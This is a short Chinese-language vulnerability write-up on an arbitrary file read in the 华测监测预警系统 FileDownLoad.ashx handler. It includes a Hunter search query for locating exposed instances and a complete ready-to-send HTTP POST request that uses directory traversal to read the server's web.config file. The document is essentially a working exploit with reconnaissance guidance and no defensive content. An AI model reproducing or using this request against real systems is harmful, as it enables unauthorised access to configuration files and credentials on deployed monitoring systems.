华测监测预警系统任意文件读取漏洞
一、漏洞简介
华测监测预警系统FileDownload.ashx存在任意文件读取漏洞。
二、影响版本
- 华测监测预警系统
三、资产测绘
- hunter
app.name="华测监测预警系统" - 登录页面
四、漏洞复现
POST /Handler/FileDownLoad.ashx HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=xp2shqaformcuin4cdxhm3ws
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
filename=1&filepath=..%2F..%2Fweb.config